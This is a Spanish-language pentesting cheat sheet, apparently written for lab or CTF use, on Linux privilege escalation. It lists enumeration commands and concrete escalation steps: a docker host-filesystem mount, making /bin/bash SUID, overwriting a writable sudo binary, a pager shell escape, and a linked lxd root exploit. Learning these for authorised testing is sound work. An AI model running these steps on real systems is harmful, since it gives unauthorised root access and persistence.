3 Escalada Privilegios

Primeras comprobaciones #

#### Grupos de usuario
###Ver si esta el usuario en algun grupo interesante, como el de docker
id

#### Ejecución de tareas como root
sudo -l

#### Permisos SUID, GUID y Binarios SH
find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
find / -name *.sh
find / -name *.py
#### Versión de sudo
### teniendo la version de sudo se puede buscar alguna vulnerabilidad
sudo -V

#### Version del S.O
lsb_release -a

#### Version de kernel
uname -r

#### Listar tareas cron
ps -aux | grep cron
cat /etc/crontab
cat /etc/cron.d
crontab -l

#### Comprobar grupos
### A veces nuestro usuario no tiene privilegios, pero si el grupo al que pertenece.
id
find / -group "grupo"  -ls 2>/dev/null

###
Si pertenecemos al grupo pcap, mirar el apartado de "Wireshark" en la web
Si pertenecemos a un grupo que pueda ejecutar python, y encontramos un .py editable, podemos escalar facilmente.

#### Buscar capturas de wireshark
find / -name *.pcap* 2>/dev/null

#### Mirar las variables de entorno
### En ocasiones podemos encontrar credenciales, o aprovechar para ver si hay algo raro en el path
env

#### Comprobar el historial
history

cat $HOME/.bash_history

#### Comprobar servicios locales
### En ocasiones tenemos servicios como Mysql o algun panel de admin que solo funciona desde la máquina local, hay 2 maneras:
netstat -tuln
ss -tuln

### Capabilities
getcap -r / 2>/dev/null

### Mirar directorio opt
ls -la /opt

#TIPS
Mirar en /opt
Mirar si hubiera credenciales de root en ficheros de conexion a bases de datos, en caso de tener una web.
Mirar /home de usuarios
Mirar /etc/passwd para descubrir usuarios
Mirar binarios interesantes y si es necesario descompilar con ghidra

 SI NADA DE LO DE ARRIBA FUNCIONA, MIRAR RESTO DE SECCIONES DE HACKING LINUX

Docker #

Pudiendo ejecutar docker sin ser root, se puede escalar privilegios y montar el sistema de ficheros de la maquina real en el contenedor de forma que podremos acceder a todo.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

NOTA Seremos root en el contenedor, no en la máquina. Pero podremos acceder a todo el sistema de ficheros, una vez hecho esto:

chmod u+s /bin/bash
bash -p

Binario con permisos de edición y ejecución #

Con sudo -l vemos que se puede ejecutar como root, sus permisos nos deja editar el fichero, algo así ==rwxrwxrwx==. editamos dicho binario y le metemos el comando==su -==.

Pivoting / escalada privilegios con man #

Tanto escalada como pivoting, si podemos ejecutar un binario como otro usuario (Sudo -L), y este binario tiene un manual, este se nos abre con vim. Lo que ocurre es que vim tiene un modo de comandos, en el que facilmente podemos hacer un:

!/bin/bash

y nos lanzamos una bash como ese usuario con el que ejecutamos el binario.

sudo -u usuario /bin/binario

Vulnerabilidad lxd #

si el usuario pertenede al grupo lxd, (comprobar con comando id), existe un exploit para escalar privilegios a root. https://github.com/initstring/lxd_root

Herramientas automatizadas escalada privilegios #

LES (Linux exploit suggester) #

Linux Exploit Suggester Herramienta que busca vulnerabilidades a nivel de kernel de linux

linPEAS #

LinPEAS Herramienta que busca posibles malas configuraciones en la maquina para intentar escalar privilegios

Pspy #

Pspy Herramienta para monitorizar tareas cron

Linux exploit suggester (Kernel exploits) #

Automatizacion para tratar de buscar vulnerabilidades a nivel de kernel y más, Linux exploit suggester V1 Linux exploit suggester V2